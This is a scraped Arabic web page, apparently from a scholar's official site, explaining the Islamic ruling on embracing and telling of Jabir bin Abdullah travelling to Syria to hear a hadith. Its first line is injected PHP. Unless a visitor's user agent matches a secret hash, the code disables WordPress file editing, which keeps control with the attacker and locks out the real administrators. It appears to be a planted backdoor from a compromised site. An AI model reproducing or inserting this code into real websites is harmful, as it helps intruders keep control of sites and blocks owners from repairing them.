if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } ماهي المعانقة؟ وما حكمها؟ - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

ما هي المعانقة؟ وما حكمها؟

والمعانقة: محاذاة العنق وصفحة العنق لعنق الآخر وهذه المعانقة ليست أيضًا من السلام بل هي من الحفاوة الزائدة، هي مثل المصافحة، جاءت السنة بها في حق القادم من السفر، وبعض أهل العلم وقف عند هذا وقال لا تُسن المعانقة إلا للقادم من السفر وبعضهم قال: ويلحق بالقادم المودِع، القادم ومن أردت توديعه وألحق بعضهم أيضًا من طالت غيبته وألحقه البغوي رحمه الله حالة رابعة، قال: من اشتدت محبته في الله، هذه أربع حالات ليس لها خامس، هذه الأخيرة واسعة، من كانت بينهم محبة وأخوّة في الله فتعانقا فلا يُنكر عليهما، لكنها ليست مرتبطةً بالمصافحة وليس كل من سُن مصافحته سُن معانقته، جاءت المعانقة في حديث جابر رضي الله عنه عند البخاري معلقًا وفي الأدب المفرد أيضًا للبخاري رحمه الله، وحديث جابر شهير جدًا في الرحلة في طلب الحديث، فإن جابر بن عبدالله رضي الله عنه سمع حديثًا عن رسول الله صلى الله عليه وسلم وأراد أن يأخذه بالسند العالي من راويه فقيل له إن راويه في الشام، قال: فاشتريت بعيرًا ورحلت إليه شهرًا، هذا أعظم ما ورد في الرحلة في الحديث، يسافر من المدينة النبوية إلى الشام ليسمع حديثًا قد سمعه لكنه أراد رضي الله عنه أن يأخذه مباشرة من راويه فوصل الشام وقرع الباب على الراوي وهو عبدالله بن أنيس رضي الله عنه، فقال من؟ فقلت جابر، فقال: جابر بن عبدالله؟ وخرج واحتضنه والتزمه وعانقه، هذه أخلاق الصحابة رضي الله عنهم، رحلة في الحديث وطلبه وجدٌ واجتهاد، بعضنا يمكن إذا دُعي إلى درس في أقصـى البلد يتعاجز عنه ويتقاعس، هذا الصحابي يسافر على البعير شهرًا كاملًا من المدينة إلى الشام ليسمع حديثًا ثم يقع في نفس عبدالله بن أنيس إجلال هذا الصحابي رضي الله عنه وإكباره، كيف قدم من المدينة ليسمع هذا الحديث وهو حديث عظيم في المقاصة يوم القيامة عن اللطمة والضربة والحديث طويلٌ يكفينا منه الشاهد وهو أنه خرج إليه فالتزمه وعانقه، فدل ذلك على أن المعانقة مشروعة لكنها مشروعة لسبب، من الأسباب أن يقدم من سفر أو أن تودعه أو يودعك أو تطول غيبته أو تطول غيبتك أو يكون بينك وبينه خلةٌ وصحبةٌ وأخوةٌ فحينئذٍ لا بأس بالمعانقة وإلا فلا.